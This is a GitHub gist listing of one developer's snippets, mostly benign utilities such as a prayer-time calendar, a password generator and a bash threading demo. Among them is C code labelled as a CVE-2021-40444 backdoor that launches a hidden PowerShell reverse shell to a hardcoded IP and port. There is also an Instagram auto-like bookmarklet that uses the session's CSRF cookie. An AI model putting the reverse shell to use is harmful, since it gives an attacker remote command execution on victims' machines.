Skip to content

Instantly share code, notes, and snippets.

View dwisiswant0's full-sized avatar
💀
Bashturbation

Dwi Siswanto dwisiswant0

💀
Bashturbation
View GitHub Profile
const { writeFileSync } = require('fs');
const ics = require('ics');
const imsyakiah = {"status":1,"message":"Success","prov":"JAWA BARAT","kabko":"KAB. CIREBON","hijriah":"1445","tahun":"2024","data":{"1":{"tanggal":1,"imsak":"04:26","subuh":"04:36","terbit":"05:48","dhuha":"06:15","dzuhur":"11:59","ashar":"15:05","maghrib":"18:04","isya":"19:12"},"2":{"tanggal":2,"imsak":"04:26","subuh":"04:36","terbit":"05:48","dhuha":"06:15","dzuhur":"11:59","ashar":"15:06","maghrib":"18:03","isya":"19:12"},"3":{"tanggal":3,"imsak":"04:26","subuh":"04:36","terbit":"05:48","dhuha":"06:15","dzuhur":"11:59","ashar":"15:06","maghrib":"18:03","isya":"19:11"},"4":{"tanggal":4,"imsak":"04:26","subuh":"04:36","terbit":"05:47","dhuha":"06:15","dzuhur":"11:58","ashar":"15:06","maghrib":"18:02","isya":"19:11"},"5":{"tanggal":5,"imsak":"04:26","subuh":"04:36","terbit":"05:47","dhuha":"06:15","dzuhur":"11:58","ashar":"15:06","maghrib":"18:02","isya":"19:10"},"6":{"tanggal":6,"imsak":"04:26","subuh":"04:36","terbit":"05:47","dhuha":"0
@dwisiswant0
dwisiswant0 / awto-view-like-ig-story.min.js
Created August 8, 2023 10:04
Auto view & like Instagram stories (minified + bookmarklet)
javascript:void(async function(){window.utils={isValidURL:e=>"www.instagram.com"!==e.host?(alert("Buka www.instagram.com lah, pekok."),!1):!!e.pathname.startsWith("/stories/")||(alert("Jangan diinterrupt, blok."),!1),emulateClick:e=>{const t=new MouseEvent("click",{view:window,bubbles:!0,cancelable:!0});e.dispatchEvent(t)},emulateNext:()=>{const e=new KeyboardEvent("keydown",{key:"ArrowRight",keyCode:39,code:"ArrowRight",which:39,bubbles:!0,cancelable:!0});document.dispatchEvent(e)},getKuki:e=>{const t=document.cookie.split(";");for(const i of t){const[t,o]=i.trim().split("=");if(t===e)return decodeURIComponent(o)}return null},sleep:e=>new Promise((t=>setTimeout(t,e))),fatalError:e=>{console.error("Failed to like the story.",e),alert("Waduh! Refresh gan."),window.location.replace("/")}},window.aing={token:utils.getKuki("csrftoken"),kirimLike:async (t)=>{const i=await fetch("/api/v1/story_interactions/send_story_like",{method:"POST",mode:"cors",credentials:"include",headers:{"content-type":"application/x-www-f
@dwisiswant0
dwisiswant0 / awto-view-like-ig-story.js
Last active August 8, 2023 09:43
Auto view & like Instagram stories
/**
* Tutor running script:
* 1. Buka beranda IG & login
* 2. Buka console browser
* 3. Paste script ini
* 4. Enter
* 5. Udah :P
*/
var utils = {
passgen() {
local L
[[ -z "${1}" ]] && L="12" || L="$1"
</dev/urandom strings | \
grep -o "\S*" | \
tr -d $"\n" | \
head -c "${L}"
echo
}
@dwisiswant0
dwisiswant0 / postmessage-detector.js
Created October 20, 2021 21:24
postMessage detector
if (/((?:\.addEventListener|window\)\.on)\("message|\.postMessage\()/g.test(document.all[0].outerHTML)) console.log("voilà");
@dwisiswant0
dwisiswant0 / CVE-2021-40444-shell.c
Created September 11, 2021 14:19
CVE-2021-40444 Backdoor/Shell
#include <windows.h>
#include <stdio.h>
void exec(void) {
char payload[680];
char addr[15] = "10.10.10.10";
int port = 9001;
sprintf(payload, "powershell -nop -W hidden -noni -ep bypass -c \"$TCPClient = New-Object Net.Sockets.TCPClient('%s', %d);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\"", addr, port);
system(payload);
@dwisiswant0
dwisiswant0 / popcat-hack.js
Created August 24, 2021 10:24
Popcat Hack (auto-click)
javascript:(function(){setInterval(()=>document.dispatchEvent(new KeyboardEvent("keydown",{ctrlKey:1})),5)})();
@dwisiswant0
dwisiswant0 / genymotionwithplay.txt
Created July 7, 2021 21:08 — forked from wbroek/genymotionwithplay.txt
Genymotion with Google Play Services for ARM
NOTE: Easier way is the X86 way, described on https://www.genymotion.com/help/desktop/faq/#google-play-services
Download the following ZIPs:
ARM Translation Installer v1.1 (http://www.mirrorcreator.com/files/0ZIO8PME/Genymotion-ARM-Translation_v1.1.zip_links)
Download the correct GApps for your Android version:
Google Apps for Android 6.0 (https://www.androidfilehost.com/?fid=24052804347835438 - benzo-gapps-M-20151011-signed-chroma-r3.zip)
Google Apps for Android 5.1 (https://www.androidfilehost.com/?fid=96042739161891406 - gapps-L-4-21-15.zip)
Google Apps for Android 5.0 (https://www.androidfilehost.com/?fid=95784891001614559 - gapps-lp-20141109-signed.zip)
@dwisiswant0
dwisiswant0 / CVE-2021-31525.go
Created May 10, 2021 09:39
CVE-2021-31525 Proof-of-concept
package main
import (
"bufio"
"bytes"
// "fmt"
"io"
"io/ioutil"
"log"
"net/http"
@dwisiswant0
dwisiswant0 / bash-threading.sh
Created April 20, 2021 21:41
Simple Bash multi-threading
#!/bin/bash
hello() {
echo "Hello, world!"
sleep 3
}
THREAD=5 # define thread
COUNT=1